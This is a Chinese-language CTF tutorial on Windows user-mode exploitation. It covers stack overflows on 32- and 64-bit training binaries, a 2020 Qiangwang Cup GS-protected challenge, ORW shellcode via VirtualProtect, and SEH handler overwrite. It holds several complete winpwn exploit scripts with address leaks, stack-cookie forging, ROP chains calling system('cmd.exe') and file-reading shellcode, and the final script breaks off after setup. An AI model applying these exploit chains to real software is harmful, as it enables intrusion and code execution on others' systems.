windows pwn_winpwn-程序员宅基地

技术标签: 系统安全  PWN  # Windows User Pwn  安全架构  windows  

栈溢出

32 位栈溢出

附件下载链接

程序保护如下,没有开 GS 保护。
在这里插入图片描述
程序是一个简单的栈溢出:

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
    
  char v4; // [esp+0h] [ebp-1D4h]
  char v5; // [esp+0h] [ebp-1D4h]
  char DstBuf[260]; // [esp+D0h] [ebp-104h] BYREF

  __CheckForDebuggerJustMyCode(&unk_41C003);
  sub_41132F();
  printf("Hello world, this is a buffer overflow training.\n", v4);
  printf("This is the stack address : %p\n", (char)DstBuf);
  printf("What is your name: ", v5);
  read(0, DstBuf, 0x200u);
  printf("Hello, %s\n", (char)DstBuf);
  getchar();
  return 0;
}

利用方法如下:

  • 首先启动一次进程,通过填充字符泄露返回地址,进而泄露程序加载基址。
  • 再次启动进程,写 rop 通过 printf 泄露导入表,进而泄露 ucrtbased.dll 的基址,之后返回到 main 函数进行下一次利用。
  • 利用 ucrtbase.dll 中的 system 函数以及 cmd.exe 字符串构造 rop 实现 system("cmd.exe")

这里有几个易错点:

  • buf 填充 \xcc ,否则会被检测到栈溢出。
  • 由于这个是调试版的程序,因此使用的是 ucrtbased.dll 而不是 ucrtbase.dll
from winpwn import *

context.arch = 'i386'
# context.log_level = "debug"

pe = winfile("stackoverflow.exe")
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path)  # remote

p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.success("buf addr: " + hex(buf_addr))

p.sendafter("What is your name: ", "\xcc" * 0x108)
p.recvuntil("\xcc" * 0x108)

leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak code addr: " + hex(leak_pe_addr))

pe.address = leak_pe_addr - 0x12203
log.info("pe base: " + hex(pe.address))
p.close()

p = start()
# windbg.attach(p, "bp 710000+119EA")

printf_addr = pe.address + 0x11046
main_addr = pe.address + 0x112B7

payload = ''
payload += '\xcc' * 0x108
payload += p32(printf_addr)
payload += p32(main_addr)
payload += p32(pe.imsyms['setvbuf'])

p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()

setvbuf_addr = u32(p.recv(4))
log.success("setvbuf addr: " + hex(setvbuf_addr))

ucrtbased.address = setvbuf_addr - ucrtbased.symbols['setvbuf']
log.info("ucrtbase base: " + hex(ucrtbased.address))

payload = ''
payload += '\xcc' * 0x108
payload += p32(ucrtbased.symbols['system'])
payload += p32(main_addr)
payload += p32(ucrtbased.search("cmd.exe").next())

p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()

p.interactive()

64 位栈溢出

附件下载链接
和 32 位的程序相似,不过这里溢出字节数较少,需要栈迁移。

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
    
  _DWORD *v3; // rdi
  __int64 i; // rcx
  char v6; // [rsp+0h] [rbp-20h] BYREF
  char DstBuf[480]; // [rsp+30h] [rbp+10h] BYREF

  v3 = &v6;
  for ( i = 0x82i64; i; --i )
    *v3++ = 0xCCCCCCCC;
  j___CheckForDebuggerJustMyCode(&unk_140021003, argv, envp);
  sub_140011271();
  printf("Hello world, this is a buffer overflow training.\n");
  printf("This is the stack address : %p\n", DstBuf);
  printf("What is your name: ");
  read(0, DstBuf, 0x200u);
  printf("Hello, %s\n", DstBuf);
  getchar();
  return 0;
}
from winpwn import *

context.arch = "amd64"
context.log_level = "debug"

pe = winfile("stackoverflow.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path)  # remote

# print [hex(x) for x in ucrtbased.search(asm('pop rsp;ret'))]

p = start()

# windbg.attach(p, "bp 00007ff7`fcd00000+11978")
p.sendafter("What is your name:", "\xcc" * 0x1f8)

p.recvuntil("\xcc" * 0x1f8)
leak_ucrtbased_addr = u64(p.recv(6).ljust(8, '\x00'))
log.success("leak ucrtbased addr: " + hex(leak_ucrtbased_addr))

ucrtbased.address = leak_ucrtbased_addr - 0xb1fb3
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()

p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))

# windbg.attach(p, "bp 00007ff7`fcd00000+1199D")
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(ucrtbased.search("cmd.exe").next())
payload += p64(ucrtbased.symbols['system'])
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)

log.info("payload len: " + hex(len(payload)))

p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()

p.interactive()

例题:2020 强网杯 easyoverflow

附件下载链接
存在栈溢出并且有 3 次输入机会。并且开启 GS 保护。

int __cdecl main(int argc, const char **argv, const char **envp)
{
    
  FILE *v3; // rax
  FILE *v4; // rax
  FILE *v5; // rax
  int v6; // ebx
  char DstBuf[256]; // [rsp+20h] [rbp-118h] BYREF

  v3 = _acrt_iob_func(0);
  setbuf(v3, 0i64);
  v4 = _acrt_iob_func(1u);
  setbuf(v4, 0i64);
  v5 = _acrt_iob_func(2u);
  setbuf(v5, 0i64);
  v6 = 3;
  do
  {
    
    --v6;
    memset(DstBuf, 0, sizeof(DstBuf));
    puts("input:");
    read(0, DstBuf, 0x400u);
    puts("buffer:");
    puts(DstBuf);
  }
  while ( v6 > 0 );
  return 0;
}

这道题的难点在于不重启程序的前提下完成利用。

首先我们可以通过越界读从栈上泄露 canary 和程序基址,然后通过返回值写 main 函数地址实现多次执行 main

然后第二次执行 main 时再次越界读从栈上泄露 canary 和 ntdll 基址。有了 ntdll 基址后我们也就有了大量可用的 gadget 。

由于 ucrtbase 的基址以及 __security_cookie 无法越界读从栈上泄露,我们考虑构造 rop 实现任意地址读。

观察发现 main 函数到中最后一个调用 puts 的地方到 main 函数返回可以作为一个 gadget 实现任意地址读,其中 rbx 设置为 1 这样会跳转至读入数据的部分通过栈溢出伪造 canary 以及写 rop 完成后续利用。

.text:00000000000010A6                 call    cs:puts
.text:00000000000010AC                 test    ebx, ebx
.text:00000000000010AE                 jg      short loc_1060
.text:00000000000010B0                 xor     eax, eax
.text:00000000000010B2                 mov     rcx, [rsp+138h+var_18]
.text:00000000000010BA                 xor     rcx, rsp        ; StackCookie
.text:00000000000010BD                 call    __security_check_cookie
.text:00000000000010C2                 add     rsp, 130h
.text:00000000000010C9                 pop     rbx
.text:00000000000010CA                 retn

首先我们利用这个 gadget 读出 __security_cookie 这样可以根据之前的 canary 解密出栈地址,进而可以伪造 canary 。

之后再次利用这个 gadget 泄露 ucrtbase 的基址,并且在返回时写 rop 完成利用。

from winpwn import *

context.arch = 'amd64'
context.log_level = 'debug'
pe = winfile("StackOverflow.exe")
ntdll = winfile("ntdll.dll")
ucrtbase = winfile("ucrtbase.dll")

p = process(pe.path)
# windbg.attach(p, "bp 00007ff7`05770000+10A6")

p.sendafter("input:", "\xcc" * 0x100)
p.recvuntil("\xcc" * 0x100)
canary = u64(p.recvline(drop=True)[:8].ljust(8, '\x00'))

log.success("canary: " + hex(canary))

p.sendafter("input:", "\xcc" * 0x118)
p.recvuntil("\xcc" * 0x118)
pe.address = u64(p.recvline(drop=True)[:8].ljust(8, '\x00')) - 0x12F4
log.success("pe base: " + hex(pe.address))

main_addr = pe.address + 0x1000
puts_gadget_addr = pe.address + 0x10a6
security_cookie_addr = pe.address + 0x3008
log.info("security_cookie addr: " + hex(security_cookie_addr))

payload = ''
payload += '\xcc' * 0x100
payload += p64(canary)
payload += '\xcc' * 0x10
payload += p64(main_addr)
p.sendafter("input:", payload)

p.sendafter("input:", "\xcc" * 0x100)
p.recvuntil("\xcc" * 0x100)
canary = u64(p.recvline(drop=True)[:8].ljust(8, '\x00'))

p.sendafter("input:", "\xcc" * 0x180)
p.recvuntil("\xcc" * 0x180)
ntdll.address = u64(p.recv(6).ljust(8, '\x00')) - 0x06a271
log.success("ntdll base: " + hex(ntdll.address))

payload = ''
payload += '\xcc' * 0x100
payload += p64(canary)
payload += '\xcc' * 0x10
payload += p64(ntdll.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(security_cookie_addr)
payload += p64(ntdll.search(asm('pop rbx;ret'), executable=True).next())
payload += p64(1)
payload += p64(puts_gadget_addr)

p.sendafter("input:", payload)
p.recvuntil("buffer:\r\n")
p.recvline()
security_cookie = u64(p.recvline(drop=True)[:8].ljust(8, '\x00'))
log.success("security_cookie: " + hex(security_cookie))

stack_addr = canary ^ security_cookie
log.info("last stack addr: " + hex(stack_addr))
stack_addr += 0x160
log.info("stack addr: " + hex(stack_addr))
canary = stack_addr ^ security_cookie
log.info("canary: " + hex(canary))

payload = ''
payload += '\xcc' * 0x100
payload += p64(canary)
payload += '\xcc' * 0x10
payload += p64(ntdll.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(pe.imsyms['puts'])
payload += p64(ntdll.search(asm('pop rbx;ret'), executable=True).next())
payload += p64(1)
payload += p64(puts_gadget_addr)
p.sendafter("input:", payload)
p.recvuntil("buffer:\r\n")
p.recvline()
ucrtbase.address = u64(p.recvline(drop=True)[:8].ljust(8, '\x00')) - ucrtbase.symbols['puts']
log.success("ucrtbase base: " + hex(ucrtbase.address))
stack_addr += 0x160
log.info("stack addr: " + hex(stack_addr))
canary = stack_addr ^ security_cookie
log.info("canary: " + hex(canary))

payload = ''
payload += '\xcc' * 0x100
payload += p64(canary)
payload += '\xcc' * 0x10
payload += p64(ntdll.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(ucrtbase.search("cmd.exe").next())
payload += p64(ucrtbase.symbols['system'])
p.sendafter("input:", payload)

p.interactive()

ORW

如果题目开启了 PROCESS_MITIGATION_CHILD_PROCESS_POLICY 保护禁用了 system("cmd.exe") ,那么我们就需要采用 ORW 的方式获取 flag 。

Windows 中的 ORW 示例代码如下,其中 CreateFileAReadFile 位于 kernel32.dllputs 位于 ucrtbase.dll

#include <Windows.h>
#include <stdio.h>

int main() {
    
    HANDLE hFile = CreateFileA(
            "flag.txt",// 文件路径和名称
            GENERIC_READ,             // 文件访问权限     0x80000000
            FILE_SHARE_READ,          // 共享模式         0x00000001
            NULL,                     // 安全性属性       0
            OPEN_EXISTING,            // 打开已有文件     3
            FILE_ATTRIBUTE_NORMAL,    // 文件属性         0x00000080
            NULL                      // 模板文件句柄     0
    );
    if (hFile == INVALID_HANDLE_VALUE) {
     // #define INVALID_HANDLE_VALUE ((HANDLE)(LONG_PTR)-1)
        printf("Failed to open file\n");
        return 1;
    }
    
    char buffer[0x3000];
    DWORD dwBytesRead = 0;
    if (!ReadFile(hFile, buffer, sizeof(buffer), &dwBytesRead, NULL)) {
    
        printf("Failed to read file\n");
        CloseHandle(hFile);
        return 1;
    }
    
    puts(buffer);
    
    return 0;
}

由于传递的参数过多 gadget 不好找并且会导致 ROP 过长,因此采取 VirtualProtect 修改内存属性写 shellcode 的方式进行 ORW 。

VirtualProtect 位于 kernel32.dll ,定义如下:

BOOL VirtualProtect(
  LPVOID lpAddress,          // 要更改保护属性的内存地址
  SIZE_T dwSize,             // 要更改保护属性的内存大小
  DWORD flNewProtect,        // 新的保护属性
  PDWORD lpflOldProtect      // 旧的保护属性
);

其中 lpAddress 关于 0x1000 对齐,flNewProtect 设置为 PAGE_EXECUTE_READWRIT (0x40)

32 位 ORW

前面 32 位的栈溢出题目可以采用如下 exp 实现 ORW。这里有几个需要注意的地方:

  • shellcode 前面 sub esp,0x1000 是为了将栈迁移到远离 shellcode 的位置,防止调用函数时覆写到 shellcode 。
  • ReadFile 函数传入的长度参数不能过大,因为 ReadFile 会对 buf 地址范围进行检查,如果 buf + len 位于 无效地址不会向 buf 读入数据。
from winpwn import *

context.arch = 'i386'
context.log_level = "debug"

pe = winfile("stackoverflow.exe")
ucrtbased = winfile("ucrtbased.dll")
kernel32 = winfile("kernel32.dll")
start = lambda: process(pe.path)  # remote

p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.success("buf addr: " + hex(buf_addr))

p.sendafter("What is your name: ", "\xcc" * 0x108)
p.recvuntil("\xcc" * 0x108)

leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak code addr: " + hex(leak_pe_addr))

pe.address = leak_pe_addr - 0x12203
log.info("pe base: " + hex(pe.address))
p.close()

p = start()

printf_addr = pe.address + 0x11046
main_addr = pe.address + 0x112B7

payload = ''
payload += '\xcc' * 0x108
payload += p32(printf_addr)
payload += p32(main_addr)
payload += p32(pe.imsyms['setvbuf'])

p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()

setvbuf_addr = u32(p.recv(4))
log.success("setvbuf addr: " + hex(setvbuf_addr))

ucrtbased.address = setvbuf_addr - ucrtbased.symbols['setvbuf']
log.info("ucrtbase base: " + hex(ucrtbased.address))

payload = ''
payload += '\xcc' * 0x108
payload += p32(ucrtbased.symbols['puts'])
payload += p32(main_addr)
payload += p32(pe.imsyms['GetCurrentThreadId'])
p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
kernel32.address = u32(p.recv(4)) - kernel32.symbols['GetCurrentThreadId']
log.info("kernel32 base: " + hex(kernel32.address))

p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))

log.info("CreateFileA: " + hex(kernel32.symbols["CreateFileA"]))

shellcode = asm(
    """
    sub esp,0x1000
    push 0
    push 0x80
    push 3
    push 0
    push 1
    push 0x80000000
    push {0} // FileName
    mov ebx,{1} 
    call ebx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
    push 0
    lea ecx, [esp+0x500]
    push ecx
    push 0x100
    push {0} // FileBuffer
    push eax
    mov ebx,{2}
    call ebx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
    push {0}
    mov ebx,{3}
    call ebx // puts(Buffer);
    """.format(
        hex(buf_addr + 0x50),
        hex(kernel32.symbols['CreateFileA']),
        hex(kernel32.symbols['ReadFile']),
        hex(ucrtbased.symbols['puts'])
    )
)

payload = ""
payload += shellcode
assert len(shellcode) <= 0x50
payload = payload.ljust(0x50, '\xcc')
payload += "flag.txt\x00"
payload = payload.ljust(0x108, '\xcc')
payload += p32(kernel32.symbols['VirtualProtect'])
payload += p32(buf_addr)
payload += p32(buf_addr & ~0xFFF)
payload += p32(0x1000)
payload += p32(0x40)
payload += p32(buf_addr + 0x300)
# windbg.attach(p, "bp {}".format(hex(pe.address + 0x119EA)))

p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.interactive()

64 位 ORW

64 位栈溢出的 ORW 做法如下,不过由于 payload 构造过长导致触发异常,可以考虑将 shellcode 读到另一块内存中从而减小 payload 的长度 。

这里我们读入 shellcode 使用的 API 为 ReadFile ,需要结合 GetStdHandle 获取标准输入句柄。

#include <windows.h>
#include <stdio.h>

int main()
{
    
    HANDLE hStdin;
    DWORD dwBytesRead;
    char buffer[1024];

	/* #define STD_INPUT_HANDLE ((DWORD)-10) */
    hStdin = GetStdHandle(STD_INPUT_HANDLE);
	
	/* #define INVALID_HANDLE_VALUE ((HANDLE)(LONG_PTR)-1) */
    if (hStdin == INVALID_HANDLE_VALUE) {
    
        printf("Failed to get standard input handle.\n");
        return 1;
    }

    if (ReadFile(hStdin, buffer, sizeof(buffer), &dwBytesRead, NULL)) {
    
        printf("Read %d bytes from standard input.\n", dwBytesRead);
        printf("Input content:\n%s", buffer);
    } else {
    
        printf("Failed to read standard input.\n");
    }

    return 0;
}

需要注意的是 DstBuf[480] 的实际长度是 0x100 ,需要考虑绕过 CheckStackValue 保护。

另外如何查找从将 rax 寄存器的值赋值给 rcx 的 gadget 也是一个难点。

from winpwn import *

context.arch = "amd64"
context.log_level = "debug"

pe = winfile("stackoverflow.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")
start = lambda: process(pe.path)  # remote

p = start()
p.sendafter("What is your name:", "\xcc" * 0x1f8)
p.recvuntil("\xcc" * 0x1f8)
ucrtbased.address = u64(p.recv(6).ljust(8, '\x00')) - 0xb1fb3
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()

p = start()
# windbg.attach(p, "bp 00007ff7`2a380000+11978")
p.sendafter("What is your name:", "\xcc" * 0x1e8)
p.recvuntil("\xcc" * 0x1e8)
pe.address = u64(p.recv(6).ljust(8, '\x00')) - 0x121a9
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x11900
p.close()

p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(pe.imsyms['GetCurrentThreadId'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
kernel32.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - kernel32.symbols['GetCurrentThreadId']
log.success("kernel32 base: " + hex(kernel32.address))

p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(kernel32.imsyms['memcpy'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
ntdll.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - ntdll.symbols['memcpy']
log.success("ntdll base: " + hex(ntdll.address))

p.recvuntil("This is the stack address : ")
rop_addr = int(p.recvline(drop=True), 16)
log.info("rop addr: " + hex(rop_addr))

shellcode_addr = pe.address + 0x1D000
buf_addr = rop_addr + 0x104
log.info("shellcode addr: " + hex(shellcode_addr))
log.info("buf addr: " + hex(buf_addr))
# windbg.attach(p, "bp {}".format(hex(pe.address + 0x11968)[:-1]))
sleep(1)

payload = ''
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(0x1000)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x40)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['VirtualProtect'])
payload += p64(ntdll.search(asm("add rsp, 0x18; ret"), executable=True).next())
payload += '\x00' * 0x18
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(0xFFFFFFF6)
payload += p64(kernel32.symbols['GetStdHandle'])
payload += p64(kernel32.address + 0x761b2)  # mov rcx, rax; xor eax, eax; test rdx, rdx; jne 0x761c1; mov qword ptr [r8], rcx; ret;
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x100)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['ReadFile'])
payload += p64(shellcode_addr)
payload += '\x00' * 0x20
payload += p64(0)
payload = payload.ljust(buf_addr - rop_addr, '\xcc')  # bypass CheckStackVars
payload += 'flag.txt\x00'
log.info("rop len: " + hex(len(payload)))

payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(rop_addr)

p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")

shellcode = asm(
    """
    sub rsp, 0x1000
    mov rcx, {0}
    mov edx, 0x80000000
    xor r9d, r9d
    lea r8d, [r9+1]
    mov qword ptr [rsp + 0x30], 0
    mov qword ptr [rsp + 0x28], 0x80
    mov qword ptr [rsp + 0x20], 3
    mov rbx, {1} 
    call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
    xchg rcx,rax
    mov rdx, {0}
    mov r8d, 0x500
    lea r9,[rsp + 0x200]
    mov qword ptr [rsp + 0x20], 0
    mov rbx, {2} 
    call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
    mov rcx, {0}
    mov rbx,{3}
    call rbx // puts(Buffer);
    """.format(
        hex(buf_addr),
        hex(kernel32.symbols['CreateFileA']),
        hex(kernel32.symbols['ReadFile']),
        hex(ucrtbased.symbols['puts'])
    )
)

sleep(1)

p.sendline(shellcode)

p.interactive()

由于 Windows API 的传参过于丧心病狂,因此上面的 rop 构造的十分麻烦。不过幸运的是在 ucrtbased.dll (ucrtbase.dll) 中封装了一些 POSIX 类型的接口,这些接口的使用方法和 linux 相同。因此如果题目提供了 ucrtbased.dll (ucrtbase.dll)如果有任意地址读我们也可以将远程的 ucrtbased.dll (ucrtbase.dll) dump 下来 )那么我们可以像 linux 一样构造 orw 。不过这些函数开头会将参数写入 [rsp + 8][rsp + 0x20] 范围的内存中,因此在调用完一个函数时需要一个 gadget 将被覆盖的内存平衡掉。

from winpwn import *

context.arch = "amd64"
context.log_level = "debug"

pe = winfile("stackoverflow.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")
start = lambda: process(pe.path)  # remote

p = start()
p.sendafter("What is your name:", "\xcc" * 0x1f8)
p.recvuntil("\xcc" * 0x1f8)
ucrtbased.address = u64(p.recv(6).ljust(8, '\x00')) - 0xb1fb3
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()

p = start()
# windbg.attach(p, "bp 00007ff7`2a380000+11978")
p.sendafter("What is your name:", "\xcc" * 0x1e8)
p.recvuntil("\xcc" * 0x1e8)
pe.address = u64(p.recv(6).ljust(8, '\x00')) - 0x121a9
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x11900
p.close()

p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(pe.imsyms['GetCurrentThreadId'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
kernel32.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - kernel32.symbols['GetCurrentThreadId']
log.success("kernel32 base: " + hex(kernel32.address))

p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(kernel32.imsyms['memcpy'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
ntdll.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - ntdll.symbols['memcpy']
log.success("ntdll base: " + hex(ntdll.address))

p.recvuntil("This is the stack address : ")
rop_addr = int(p.recvline(drop=True), 16)
log.info("rop addr: " + hex(rop_addr))

shellcode_addr = pe.address + 0x1D000
buf_addr = rop_addr + 0xe8 + 0x28
log.info("shellcode addr: " + hex(shellcode_addr))
log.info("buf addr: " + hex(buf_addr))
# windbg.attach(p, "bp {}".format(hex(ntdll.search(asm("pop rcx; ret"), executable=True).next())[:-1]))

payload = ''
payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop rdx; ret"), executable=True).next())
payload += p64(0)
payload += p64(ucrtbased.symbols['_open'])
payload += p64(ntdll.search(asm("add rsp, 0x28; ret"), executable=True).next())
payload += '\x00' * 0x28
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(3)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0x100)
payload += p64(ucrtbased.symbols['_read'])
payload += p64(ntdll.search(asm("add rsp, 0x18; ret"), executable=True).next())
payload += '\x00' * 0x18
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(1)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0x100)
payload += p64(ucrtbased.symbols['_write'])
payload = payload.ljust(buf_addr - rop_addr, '\xcc')  # bypass CheckStackVars
payload += 'flag.txt\x00'
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(rop_addr)

p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")

p.interactive()

SEHOP

附件下载链接
程序未开启 SafeSEH 。分析程序发现开启了 GS 保护。
在这里插入图片描述
程序代码如下,存在栈溢出以及一个 4 字节的任意地址写,分析汇编可知任意地址写存在 SEH 异常处理。

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
    
  _DWORD *shot; // [esp+D4h] [ebp-12Ch] BYREF
  char DstBuf[260]; // [esp+E0h] [ebp-120h] BYREF
  CPPEH_RECORD ms_exc; // [esp+1E8h] [ebp-18h]

  __CheckForDebuggerJustMyCode(&unk_41C00F);
  sub_41133E();
  printf("Hello world, this is a buffer overflow training.\n");
  printf("This is the stack address : %p\n", DstBuf);
  printf("What is your name: ");
  read(0, DstBuf, 0x200u);
  printf("Hello, %s\n", DstBuf);
  ms_exc.registration.TryLevel = 0;
  printf("Give me one shot: ");
  scanf("%ld", &shot);
  *shot = 0xDEADBEEF;
  ms_exc.registration.TryLevel = -2;
  getchar();
  return 0;
}

栈结构如下:

-0000012C shot dd ?                               ; offset
-00000128 db ? ; undefined
-00000127 db ? ; undefined
-00000126 db ? ; undefined
-00000125 db ? ; undefined
-00000124 db ? ; undefined
-00000123 db ? ; undefined
-00000122 db ? ; undefined
-00000121 db ? ; undefined
-00000120 DstBuf db 260 dup(?)
-0000001C canary dd ?
-00000018 ms_exc CPPEH_RECORD ?
+00000000  s db 4 dup(?)
+00000004  r db 4 dup(?)
+00000008 argc dd ?
+0000000C argv dd ?                               ; offset
+00000010 envp dd ?                               ; offset
+00000014
+00000014 ; end of stack variables

调试得到 DstBuf 之后的数据如下,可以泄露程序以及 ucrtbased.dll 的基址和栈地址(不过栈地址程序已经给出了)。

0:000> !telescope 0x010FFB5C+0x104
Populating the VA space with modules..
Populating the VA space with TEBs & thread stacks..
Populating the VA space with the PEB..
0x010ffc60|+0x0000: 0xbc1f64db (Unknown)
0x010ffc64|+0x0004: 0x010ffa7c (Stack) -> 0xbc1f64db (Unknown)
0x010ffc68|+0x0008: 0x79cafbd2 (ucrtbased.dll (.text)) -> xchg esi,dword ptr [eax] ; mov eax,esi ; pop esi
0x010ffc6c|+0x000c: 0x010ffce8 (Stack) -> 0x010ffd60 (Stack) -> 0x010ffd78 (Stack) -> 0xffffffff (Unknown)
0x010ffc70|+0x0010: 0x00542120 (SEH.exe (.text)) -> push ebp ; mov ebp,esp ; mov eax,dword ptr [ebp+8]
0x010ffc74|+0x0014: 0xbd4417df (Unknown)
0x010ffc78|+0x0018: 0xfffffffe (Unknown)
0x010ffc7c|+0x001c: 0x010ffc9c (Stack) -> 0x010ffcf8 (Stack) -> 0x010ffd00 (Stack) -> 0x010ffd08 (Stack) -> 0x010ffd18 (Stack) -> 0x010ffd70 (Stack) -> 0x010ffd80 (Stack) -> 0x00000000 (Unknown)
0x010ffc80|+0x0020: 0x005425a3 (SEH.exe (.text)) -> add esp,0Ch ; mov esp,ebp ; pop ebp
0x010ffc84|+0x0024: 0x00000001 (Unknown)
@$telescope(0x010FFB5C+0x104)

GS 保护使用的 ___security_cookie 在每次程序启动都会有变化,因此我们需要考虑如何使程序多次返回 main 函数。

如果我们把 Handler 从原本的 __except_handler4 覆盖为 main 函数,那么当触发异常时会把 main 函数当做 Handler 调用。

再次进入 main 函数时,会在原来异常链上添加一个新的异常节点,该节点是正常的 __except_handler4 。如果此时触发异常会通过 __except_handler4 执行新注册的异常处理程序, 这个异常处理程序会输出 This is exception handler\n 然后返回 0 。由于 main 函数作为上一层 main 函数的 Handler 函数,这个返回值会被当做 Handler 函数返回了 ExceptionContinueExecution ,上一层的 main 函数认为异常以及被处理完,因此再次返回错误的位置执行,结果再次触发异常进入 main 函数。至此,我们实现了 main 函数的多次调用。
在这里插入图片描述

有了 main 函数的多次调用我们可以先泄露 ___security_cookie 然后溢出覆盖返回值写 rop 实现 getshell 。

from winpwn import *

context.arch = "amd64"
# context.log_level = "debug"

pe = winfile("SEH.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path)  # remote

p = start()
# windbg.attach(p, "bp 00530000+154FA")
